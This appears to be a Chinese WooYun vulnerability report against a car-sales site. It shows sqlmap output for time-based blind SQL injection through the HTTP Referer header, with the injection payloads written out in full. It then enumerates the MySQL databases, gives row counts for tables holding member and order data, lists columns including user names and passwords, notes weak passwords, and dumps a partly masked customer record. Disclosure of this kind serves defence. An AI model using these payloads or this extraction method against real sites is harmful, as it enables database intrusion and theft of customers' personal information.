WooYun.org

---
Parameter: Referer (Referer)
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: if(now()=sysdate(),sleep(0),0)/'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"/'||(SELECT 'kWPQ' FROM DUAL WHERE 6984=6984 AND SLEEP(5))||'
Parameter: Referer #1* ((custom) HEADER)
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: if(now()=sysdate(),sleep(0),0)/'||(SELECT 'FNqk' FROM DUAL WHERE 5202=5202 AND SLEEP(5))||''XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"/
---
back-end DBMS: MySQL 5.0.11
available databases [3]:
[*] information_schema
[*] sal*
[*] test
Database: sal*
[99 tables]             99张表
下来就来看看表中有多少信息、
惊喜来了。（可以看到订单信息（name,tel,address），会员信息，价格信息等等）
select count(*) from vi*:    '54099'  
select count(*) from or*:    '15420'
select count(*) from order*car:    '15269971'   这是一千五百多万么？
select count(*) from vip*order:    '6425'
vi*表中字段：
| id | fuid | caid    | cityid    | sale_uid | tel          | telc          | telb         | mapy | name    | is4s | sdate                | isdel | ischk | edatq   | ytype   | namepy  | coname      | vippass | coaname    | address | vipuser | link_name | premission | contractnum |
有name,tel,vipuser,vippass,address这够么？
看了前几条数据，
举例：用户gocarpric**，密码弱口令，
其他密码123456的有112233的，还有aaa*的，（这里提下）
再看一个表：
Table: ord*
[15420 entries]
+----+-----------+--------+---------+-----------+------------------+--------------+-------------------+--------+----------+--------------+-------------------+----------+-------+--------+------------------------+---------------------------------+---------------+---------------------------+--------------------------------------+----------------------------+-----------------+-----------------------------------------------------------+
| id | jid       | xcarid | cityid  | mid_add   | mid_edit         | qq           | tel               | sex    | tag      | note         | tel2              | name     | paytp | issend | dt_add                 | dt_edit                         | whenbuy       | looked_vipt               | sale_otqer_now                       | sale_prkce_now             | scly_otheu_wait | sple_qricu_wcit(                                          |
+----+-----------+--------+---------+-----------+------------------+--------------+-------------------+--------+----------+--------------+-------------------+----------+-------+--------+------------------------+---------------------------------+---------------+---------------------------+--------------------------------------+----------------------------+-----------------+-----------------------------------------------------------+
| *  | 10000000C | 0AC    | 198     | 2         | 2                | 183***06     | 486***17*708      | 0      | 02       | ir           | 3865*707*         | 咛炜华   | 0     | 0      | 2013-07/01 19:23:A2    | 2013-07-01 29:23:02             | Ut            | <blank>                   | *                                    | *t                          | <blank>         | <blank>                                                   |
到此为止！！！